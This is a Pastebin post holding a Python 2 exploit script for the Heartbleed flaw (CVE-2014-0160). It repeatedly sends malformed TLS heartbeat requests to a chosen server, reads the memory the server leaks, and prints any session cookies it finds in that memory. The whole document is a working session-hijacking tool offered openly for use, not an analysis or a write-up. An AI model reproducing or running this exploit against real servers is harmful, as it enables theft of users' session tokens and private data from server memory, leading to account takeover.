Advertisement
Mayk0

#; Exploit HearthBleed!~

Apr 29th, 2014
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.28 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
  4. # Michael Davis (mike.philip.davis@gmail.com)
  5.  
  6. # Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  7.  
  8. # The author disclaims copyright to this source code.
  9.  
  10. import select
  11. import sys
  12. import string
  13. import struct
  14. import socket
  15. import time
  16. from optparse import OptionParser
  17.  
  18. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  19. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  20. options.add_option('-c', '--cookie', type='str', default='session', help='Cookie to look for. (default: session)')
  21.  
  22.  
  23. def h2bin(x):
  24.     return x.replace(' ', '').replace('\n', '').decode('hex')
  25.  
  26. hello = h2bin('''
  27. 16 03 02 00  dc 01 00 00 d8 03 02 53
  28. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  29. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  30. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  31. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  32. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  33. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  34. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  35. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  36. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  37. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  38. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  39. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  40. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  41. 00 0f 00 01 01
  42. ''')
  43.  
  44. hb = h2bin('''
  45. 18 03 02 00 03
  46. 01 40 00
  47. ''')
  48.  
  49.  
  50. class HeartBleeder(object):
  51.  
  52.     server_response = None
  53.     socket = None
  54.     hostname = ''
  55.     port = 443
  56.     found_sessions = set()
  57.     cookie = 'session'
  58.     cookie_length = 56
  59.  
  60.     def __init__(self, hostname='', cookie=''):
  61.         self.hostname = hostname
  62.         self.cookie = cookie
  63.  
  64.     def connect(self):
  65.         """
  66.        Connects to the remote server.
  67.        """
  68.         self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  69.         sys.stdout.flush()
  70.         self.socket.connect((self.hostname, self.port))
  71.         sys.stdout.flush()
  72.         self.socket.send(hello)
  73.         sys.stdout.flush()
  74.  
  75.     def rcv_response(self):
  76.         while True:
  77.             _type, version, payload = self.rcv_message()
  78.             if _type is None:
  79.                 print 'Server closed connection without sending Server Hello.'
  80.                 return
  81.             # Look for server hello done message.
  82.             if _type == 22 and ord(payload[0]) == 0x0E:
  83.                 break
  84.  
  85.     def rcv_message(self):
  86.  
  87.         record_header = self.rcv_all(5)
  88.         if record_header is None:
  89.             print 'Unexpected EOF receiving record header - server closed connection'
  90.             return None, None, None
  91.         _type, version, line = struct.unpack('>BHH', record_header)
  92.         payload = self.rcv_all(line, 10)
  93.         if payload is None:
  94.             print 'Unexpected EOF receiving record payload - server closed connection'
  95.             return None, None, None
  96.         # print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  97.         return _type, version, payload
  98.  
  99.     def rcv_all(self, length, timeout=5):
  100.         endtime = time.time() + timeout
  101.         rdata = ''
  102.         remain = length
  103.         while remain > 0:
  104.             rtime = endtime - time.time()
  105.             if rtime < 0:
  106.                 return None
  107.             r, w, e = select.select([self.socket], [], [], 5)
  108.             if self.socket in r:
  109.                 data = self.socket.recv(remain)
  110.                 # EOF?
  111.                 if not data:
  112.                     return None
  113.                 rdata += data
  114.                 remain -= len(data)
  115.         return rdata
  116.  
  117.     def try_heartbeat(self):
  118.         self.socket.send(hb)
  119.         while True:
  120.             _type, version, self.payload = self.rcv_message()
  121.             if _type is None:
  122.                 print 'No heartbeat response received, server likely not vulnerable'
  123.                 return False
  124.  
  125.             if _type == 24:
  126.                 # print 'Received heartbeat response:'
  127.                 self.parse_response()
  128.                 if len(self.payload) > 3:
  129.                     pass
  130.                     # print 'WARNING: server returned more data than it should - server is vulnerable!'
  131.                 else:
  132.                     print 'Server processed malformed heartbeat, but did not return any extra data.'
  133.                 return True
  134.  
  135.             if _type == 21:
  136.                 print 'Received alert:'
  137.                 self.hexdump(self.payload)
  138.                 print 'Server returned error, likely not vulnerable'
  139.                 return False
  140.  
  141.     def parse_response(self):
  142.         """
  143.        Parses the response from the server for a session id.
  144.        """
  145.         ascii = ''.join((c if 32 <= ord(c) <= 126 else ' ')for c in self.payload)
  146.         index = string.find(ascii, self.cookie)
  147.         if index >= 0:
  148.             info = ascii[index:index + self.cookie_length]
  149.             session = info.split(' ')[0]
  150.             session = string.replace(session, ';', '')
  151.             if session not in self.found_sessions:
  152.                 self.found_sessions.add(session)
  153.                 print session
  154.  
  155.     def hexdump(self, payload):
  156.         """
  157.        Prints out a hexdump in the event that server returns an error.
  158.        """
  159.         for b in xrange(0, len(payload), 16):
  160.             line = [c for c in payload[b:b + 16]]
  161.             hxdat = ' '.join('%02X' % ord(c) for c in line)
  162.             pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in line)
  163.             print '  %04x: %-48s %s' % (b, hxdat, pdat)
  164.         print
  165.  
  166.     def scan(self):
  167.         self.connect()
  168.         self.rcv_response()
  169.         self.try_heartbeat()
  170.  
  171.  
  172. def main():
  173.     opts, args = options.parse_args()
  174.     if len(args) < 1:
  175.         options.print_help()
  176.         return
  177.  
  178.     cookies_str = 'session'
  179.     if len(args) > 1:
  180.         cookies_str = args[1]
  181.  
  182.     print cookies_str
  183.  
  184.     while True:
  185.         heartbeat = HeartBleeder(hostname=args[0], cookie=cookies_str)
  186.         heartbeat.scan()
  187.  
  188.  
  189. if __name__ == '__main__':
  190.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement